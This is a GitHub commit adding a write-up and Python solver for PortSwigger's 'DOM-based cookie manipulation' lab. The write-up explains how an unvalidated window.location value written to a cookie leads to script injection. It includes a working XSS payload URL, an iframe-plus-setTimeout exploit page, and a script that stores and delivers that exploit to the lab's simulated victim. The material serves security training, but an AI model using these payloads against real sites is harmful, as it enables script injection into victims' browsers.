-
Notifications
You must be signed in to change notification settings - Fork 104
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add Lab: DOM-based cookie manipulation
- Loading branch information
1 parent
2663a34
commit 45a622c
Showing
16 changed files
with
175 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
91 changes: 91 additions & 0 deletions
91
15_DOM_based_vulnerabilities/DOM-based_cookie_manipulation/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,91 @@ | ||
# Write-up: DOM-based cookie manipulation @ PortSwigger Academy | ||
|
||
 | ||
|
||
This write-up for the lab *DOM-based cookie manipulation* is part of my walk-through series for [PortSwigger's Web Security Academy](https://portswigger.net/web-security). | ||
|
||
Learning path: Client-side topics → DOM-based vulnerabilities | ||
|
||
Lab-Link: <https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation> | ||
Difficulty: PRACTITIONER | ||
Python script: [script.py](script.py) | ||
|
||
## Lab description | ||
|
||
 | ||
|
||
## Steps | ||
|
||
### Analysis | ||
|
||
As usual, the first step is to analyze the functionality of the lab application, in this case, a shop website. After I browse through the page, I go check the HTML sources. One interesting piece of HTML can be found on the product pages: | ||
|
||
 | ||
|
||
This script stores the current page by URL in the cookie | ||
|
||
 | ||
|
||
From this moment onwards, the requests are sent with that cookie and the page contains a `Last viewed product` link at the top: | ||
|
||
 | ||
|
||
 | ||
|
||
First I test whether the application verifies that the target is within its own domain: | ||
|
||
 | ||
|
||
Next, I check if I can break out of the link and inject arbitrary HTML and JavaScript: | ||
|
||
 | ||
|
||
Sure enough, the cookie value can be used to execute arbitrary JavaScript in the scope of the page. | ||
|
||
### The theory | ||
|
||
The vulnerable script takes the raw input from `window.location` without any validation. Above, I verified that I can break out of the link context. | ||
|
||
So I need to take a valid product URL and attach my payload in a way that the URL stays valid and produces a product page. For example, with an additional and completely fictional parameter: | ||
|
||
``` | ||
https://0ae5007c0406e52ec028374700af0043.web-security-academy.net/product?productId=1&evil='><script>alert(document.domain)</script> | ||
``` | ||
|
||
I test this URL in the browser and, sure enough, the `alert()` box shows up. | ||
|
||
--- | ||
If I load that crafted URL in an iframe within a page I control, I can inject arbitrary JavaScript into the cookie. However, the initial display of the page just writes the cookie. It requires a reload to send the cookie to the server and include the JavaScript into the page. | ||
|
||
It is unlikely that my victim is inclined to help me with this, therefore I need a way to automate this. | ||
|
||
My initial thought was to use a script within my malicious page that sleeps for some milliseconds and then reloads the iframe. However, after searching a bit I found that sleep is not as trivial in JavaScript as it is in other languages I know. | ||
|
||
But I found the documentation of [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout) which does what I want, albeit in an asynchronous way: | ||
|
||
 | ||
|
||
### The malicious page | ||
|
||
My malicious page loads the vulnerable product details page within an iframe, with my payload added as a URL parameter. | ||
|
||
After a few milliseconds, the frame content gets redirected to the base URL of the shop, thus triggering the script. | ||
|
||
```html | ||
<iframe name="victim" id="victim" | ||
src="https://0ae5007c0406e52ec028374700af0043.web-security-academy.net/product?productId=1&'><script>print()</script>" | ||
></iframe> | ||
<script> | ||
setTimeout(() => { document.getElementsByName('victim')[0].src = "https://0ae5007c0406e52ec028374700af0043.web-security-academy.net"}, 500); | ||
</script> | ||
``` | ||
|
||
 | ||
|
||
After delivering the exploit to the victim, the lab updates to | ||
|
||
 | ||
|
||
--- | ||
|
||
If you found this article helpful, please give it a clap. To get notified of more write-ups, follow me on [GitHub](https://github.com/frank-leitner) or [medium](https://medium.com/@frank.leitner). |
Binary file added
BIN
+10 KB
15_DOM_based_vulnerabilities/DOM-based_cookie_manipulation/img/cookie.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+33.3 KB
...M_based_vulnerabilities/DOM-based_cookie_manipulation/img/cookie_any_target.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+54.5 KB
15_DOM_based_vulnerabilities/DOM-based_cookie_manipulation/img/injected_script.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+13.9 KB
15_DOM_based_vulnerabilities/DOM-based_cookie_manipulation/img/lab_description.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+106 KB
..._vulnerabilities/DOM-based_cookie_manipulation/img/last_viewed_product_link.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+36.7 KB
15_DOM_based_vulnerabilities/DOM-based_cookie_manipulation/img/logo.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+34.3 KB
15_DOM_based_vulnerabilities/DOM-based_cookie_manipulation/img/malicious_page.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+74 KB
...based_vulnerabilities/DOM-based_cookie_manipulation/img/request_with_cookie.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+24.1 KB
...sed_vulnerabilities/DOM-based_cookie_manipulation/img/scripting_information.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+24.2 KB
15_DOM_based_vulnerabilities/DOM-based_cookie_manipulation/img/success.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+4.52 KB
15_DOM_based_vulnerabilities/DOM-based_cookie_manipulation/img/timeout.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+5.45 KB
...M_based_vulnerabilities/DOM-based_cookie_manipulation/img/vulnerable_script.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
80 changes: 80 additions & 0 deletions
80
15_DOM_based_vulnerabilities/DOM-based_cookie_manipulation/script.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,80 @@ | ||
#!/usr/bin/env python3 | ||
# DOM-based cookie manipulation | ||
# Lab-Link: https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation | ||
# Difficulty: PRACTITIONER | ||
from bs4 import BeautifulSoup | ||
import requests | ||
import sys | ||
import time | ||
import urllib3 | ||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | ||
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} | ||
|
||
|
||
def find_exploitserver(text): | ||
soup = BeautifulSoup(text, 'html.parser') | ||
try: | ||
result = soup.find('a', attrs={'id': 'exploit-link'})['href'] | ||
except TypeError: | ||
return None | ||
return result | ||
|
||
|
||
def store_exploit(client, exploit_server, host): | ||
data = {'urlIsHttps': 'on', | ||
'responseFile': '/exploit', | ||
'responseHead': '''HTTP/1.1 200 OK | ||
Content-Type: text/html; charset=utf-8''', | ||
'responseBody': ''' | ||
<iframe name="victim" id="victim" | ||
src="''' + host + '''/product?productId=1&'><script>print()</script>" | ||
></iframe> | ||
<script> | ||
setTimeout(() => { document.getElementsByName('victim')[0].src = "''' + host + '''"}, 500); | ||
</script> | ||
''', | ||
'formAction': 'STORE'} | ||
|
||
return client.post(exploit_server, data=data).status_code == 200 | ||
|
||
|
||
def main(): | ||
print('[+] DOM-based cookie manipulation') | ||
try: | ||
host = sys.argv[1].strip().rstrip('/') | ||
except IndexError: | ||
print(f'Usage: {sys.argv[0]} <HOST>') | ||
print(f'Exampe: {sys.argv[0]} http://www.example.com') | ||
sys.exit(-1) | ||
|
||
with requests.Session() as client: | ||
client.verify = False | ||
client.proxies = proxies | ||
|
||
exploit_server = find_exploitserver(client.get(host).text) | ||
if exploit_server is None: | ||
print(f'[-] Failed to find exploit server') | ||
sys.exit(-2) | ||
print(f'[+] Exploit server: {exploit_server}') | ||
|
||
if not store_exploit(client, exploit_server, host): | ||
print(f'[-] Failed to store exploit file') | ||
sys.exit(-3) | ||
print(f'[+] Stored exploit file') | ||
|
||
if client.get(f'{exploit_server}/deliver-to-victim', allow_redirects=False).status_code != 302: | ||
print(f'[-] Failed to deliver exploit to victim') | ||
sys.exit(-4) | ||
print(f'[+] Delivered exploit to victim') | ||
|
||
# I had some times issues getting the proper result, so wait briefly before checking | ||
time.sleep(2) | ||
if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text: | ||
print(f'[-] Failed to solve lab') | ||
sys.exit(-9) | ||
|
||
print(f'[+] Lab solved') | ||
|
||
|
||
if __name__ == "__main__": | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters